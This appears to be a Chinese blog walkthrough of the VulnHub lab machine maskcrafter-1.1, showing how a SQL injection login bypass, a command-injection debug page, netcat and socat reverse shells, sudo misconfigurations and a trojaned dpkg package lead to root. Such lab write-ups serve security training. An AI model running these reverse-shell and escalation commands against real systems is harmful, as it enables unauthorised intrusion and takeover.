【VulnHub靶机渗透】九:maskcrafter-1.1

VulnHub是一个安全平台,内含众多渗透测试的靶场镜像,只需要下载至本地并在虚拟机上运行,即可得到一个完整的渗透测试练习系统,每一个靶机都有目标去完成,大多是拿到root权限。

文章较臃长,记录了不断测试并完成目标的过程。


文章目录

  • 一、相关简介
  • 二、渗透步骤
    • 1、信息搜集
    • 2、漏洞发现
      • Ps:任意命令执行漏洞
    • 3、漏洞利用
      • 3.1、建立反弹shell
      • 3.2、逐步提权至其他用户
        • 1)提权至 userx 用户
        • 2)提权至 evdaez 用户
        • 3)提权至 researcherx 用户
    • 4、权限提升
      • Ps:提权至 root 用户
  • 三、知识总结

一、相关简介

靶机:

该靶机设定敏感信息泄露、Web漏洞以及系统中sudo权限的不安全配置等漏洞。

  • 名称:maskcrafter-1.1
  • 难度:初学者
  • 目标:root 权限

环境:

  • 靶机:maskcrafter-1.1——192,168.11.12
  • 攻击机:Kali——192.168.11.11
  • 工具:Nmap、dirb、NetCat(nc)、BurpSuit、fpm等

流程:

  1. 信息搜集
  2. Web站点渗透并得到 OS shell
  3. 逐用户提权,最终拿到 root 权限

二、渗透步骤

1、信息搜集

Nmap主机扫描,开放端口比较多
【VulnHub靶机渗透】九:maskcrafter-1.1_第1张图片
Web指纹识别,出现一个可疑邮箱
【VulnHub靶机渗透】九:maskcrafter-1.1_第2张图片
dirb Web目录扫描,发现许多敏感路径
【VulnHub靶机渗透】九:maskcrafter-1.1_第3张图片
经过扫描,大致得到有以下信息:

主机:

  • OS:Ubuntu
  • Web:Apache 2.4.29
  • 21端口:ftp vsftpd 2.0.8 or later
  • 22端口:ssh OpenSSH 7.6p1
  • 80端口:http Apache httpd 2.4.29
  • 111端口:RPC rpcbind 2-4
  • 2049端口:RPC nfs_acl 3

Web敏感路径:

  • ./robots.txt
  • ./debug
  • ./login.php
  • ./phpmyadmin

2、漏洞发现

Ps:任意命令执行漏洞

查看robots,给出 debug 目录
【VulnHub靶机渗透】九:maskcrafter-1.1_第4张图片
访问ftp服务器,发现两个可疑文件
【VulnHub靶机渗透】九:maskcrafter-1.1_第5张图片
压缩文件是加密的,尝试后没有打开,NOTES.txt 内容如下:
【VulnHub靶机渗透】九:maskcrafter-1.1_第6张图片
1)请为/debug Web目录选择一个更强的密码。
用户名为“admin”已经是可以猜测的了,但是选择字典密码是一个大大的禁忌。

2)请重新检查SQL代码以防止SQL注入,因为现在的方式是非常糟糕的。
基本上,我们希望并祈祷没有黑客发现这件事。

根据文件内容基本可以知道,存在一个admin的用户,而且密码很简单!再一个就是web站点可能存在SQL注入漏洞。

OK,访问Web站点,是一个登录框,爆破无果后,使用万能密码成功登入

admin
' or 1=1 #

【VulnHub靶机渗透】九:maskcrafter-1.1_第7张图片
提示如果发现漏洞就向 [email protected] 报告,给出了一个邮箱,再无其他信息,但是这个邮箱并没有成功用来打开压缩文件。

看一下debug路径,是一个需要帐户密码的连接页面,想到了之前的 NOTES.txt 提示,于是使用 admin admin成功进入系统
【VulnHub靶机渗透】九:maskcrafter-1.1_第8张图片
是一个选择系统命令去执行的功能,自然想到任意命令执行漏洞,选择ifconfig,提交并打开BP抓包
【VulnHub靶机渗透】九:maskcrafter-1.1_第9张图片
修改命令为 cat /etc/passwd,成功执行
【VulnHub靶机渗透】九:maskcrafter-1.1_第10张图片

3、漏洞利用

3.1、建立反弹shell

存在任意命令执行漏洞,nc监听,建立反弹shell

但是使用 nc 来反弹一直未成功,后来才发现靶机上转的 nc 是没有 -e参数的 OpenBSD netcat ,所以不能直接使用以下语句建立shell(奇怪的是直接使用bash来建立shell也不可以):

nc 192.168.11.11 9999 -e /bin/bash

经过查询得知,可以使用以下语句来绕过 -e 参数

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

原理如下:

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

具体见以下博文:

  • https://www.cnblogs.com/bonelee/p/11021996.html

OK,成功建立,使用python创建完整shell环境
【VulnHub靶机渗透】九:maskcrafter-1.1_第11张图片

3.2、逐步提权至其他用户

1)提权至 userx 用户

在查看权限以及SUID文件无线索后,在网站目录下发现了一个 db.php 文件,怀疑是数据库链接文件,打开果然是,有帐户密码
【VulnHub靶机渗透】九:maskcrafter-1.1_第12张图片
使用该账户成功登入网站的phpmyadmin后台,在 mydatabases库中发现了压缩文件的密码
【VulnHub靶机渗透】九:maskcrafter-1.1_第13张图片
还有两个登录帐户密码,经测试是主页存在sql注入处的账户,没有有用信息
【VulnHub靶机渗透】九:maskcrafter-1.1_第14张图片
使用得到的密码解开压缩文件,得到另一个密码
【VulnHub靶机渗透】九:maskcrafter-1.1_第15张图片
之前cat /etc/passwd时发现系统有四个用户:

  • userx:1000
  • researcherx:1001
  • evdaez:1002

外加一个root
【VulnHub靶机渗透】九:maskcrafter-1.1_第16张图片
根据 uid 以及查看用户目录的线索,怀疑是逐步提权
【VulnHub靶机渗透】九:maskcrafter-1.1_第17张图片
使用得到的密码:thisismypasswordforuserx2020成功切换至 userx 用户
【VulnHub靶机渗透】九:maskcrafter-1.1_第18张图片

2)提权至 evdaez 用户

既然可以登录,那么就使用该账户来连接ssh服务吧,有自动补全,方便操作一些
【VulnHub靶机渗透】九:maskcrafter-1.1_第19张图片
查看sudo权限,发现了有一个 evdaez 用户权限的 /scripts/whatsmyid.sh bash文件
【VulnHub靶机渗透】九:maskcrafter-1.1_第20张图片
但是该文件的所属是当前用户,那么就可以对文件经行编辑,使其执行/bin/bash文件即可
【VulnHub靶机渗透】九:maskcrafter-1.1_第21张图片
使用 sudo -u evdaez /scripts/whatsmyid.sh 即可提权至 evdaez 用户
【VulnHub靶机渗透】九:maskcrafter-1.1_第22张图片

3)提权至 researcherx 用户

查看当前用户下的 sudo 权限,果然发现了 researcherx 用户权限文件
【VulnHub靶机渗透】九:maskcrafter-1.1_第23张图片
是一个 socat 的二进制文件

socat 是一个多功能的网络工具,名字来由是“Socket CAT”,可以看作是netcat的加强版

在 https://gtfobins.github.io/ 上查一下相关提权命令,找到有反向shell的相关命令
【VulnHub靶机渗透】九:maskcrafter-1.1_第24张图片
使用以下命令成功提权至 researcherx 用户

kali:socat file:`tty`,raw,echo=0 tcp-listen:12345

靶机:sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

【VulnHub靶机渗透】九:maskcrafter-1.1_第25张图片

4、权限提升

Ps:提权至 root 用户

由于要保持完整的渗透步骤,所以将提权至 root 用户单独写出来

查看当前 researcherx 用户的sudo权限,发现了 dpkg 二进制文件
【VulnHub靶机渗透】九:maskcrafter-1.1_第26张图片
同样查找相关提权命令,查到2个,如下
【VulnHub靶机渗透】九:maskcrafter-1.1_第27张图片
但是我在 kali 上测试第一种就可以,而在靶机的 shell 中第一种就不行, -l 参数并没有逐行显示,所以只能使用第二种打包木马的方式。

先在kali上安装 fpm,网页中已经给出了 fpm 的 github 地址

FPM: 简单的说就是将一种类型的包转换成另外一种类型

【VulnHub靶机渗透】九:maskcrafter-1.1_第28张图片
但是直接下载github软件包后,并没有成功执行,所以干脆按照网上的额方法,使用 gem 来安装 fpm 程序,详见以下博文:

  • https://www.cnblogs.com/yanshicheng/p/9382120.html

因为 kali 上已经有 ruby ,所以直接安装 rubygems,步骤也稍有不同

具体步骤:
apt-get install rubygems
gem sources -a http://mirrors.aliyun.com/rubygems/
gem sources --remove https://rubygems.org/
gem install fpm

成功安装 fpm
【VulnHub靶机渗透】九:maskcrafter-1.1_第29张图片
新建一个 bash 脚本文件并写入文档中的内容,赋予其执行权限

内容含义:
打包一个程序文件,让它在 install 之前执行指定命令:exec /bin/bash ,由此就可以提权至其他用户

【VulnHub靶机渗透】九:maskcrafter-1.1_第30张图片
运行 创建的 bash 文件即可生成木马程序包
在这里插入图片描述
kali 本地使用 python 打开一个 http 服务器,监听8800端口
在这里插入图片描述
通过wget将木马程序下载到靶机
【VulnHub靶机渗透】九:maskcrafter-1.1_第31张图片
利用 sudo -u root dpkg -i 软件包 即可提权至 root 权限
【VulnHub靶机渗透】九:maskcrafter-1.1_第32张图片
进入 root 目录,拿到 flag
【VulnHub靶机渗透】九:maskcrafter-1.1_第33张图片

三、知识总结

整体步骤:

  • 利用 ftp 文件信息泄露得到 debug 相关帐户信息
  • 登入 Web,发现任意命令执行漏洞,得到 OS Shell
  • 利用 sudo 权限配置不当,逐步提权至 root

知识点:

  • socat 反弹shell

    kali: socat file:tty,raw,echo=0 tcp-listen:12345
    靶机: sudo -u researcherx socat tcp-connect:192.168.11.11:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane

  • OpenBSD netcat 反弹shell

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

你可能感兴趣的:(#,VulnHub综合靶机)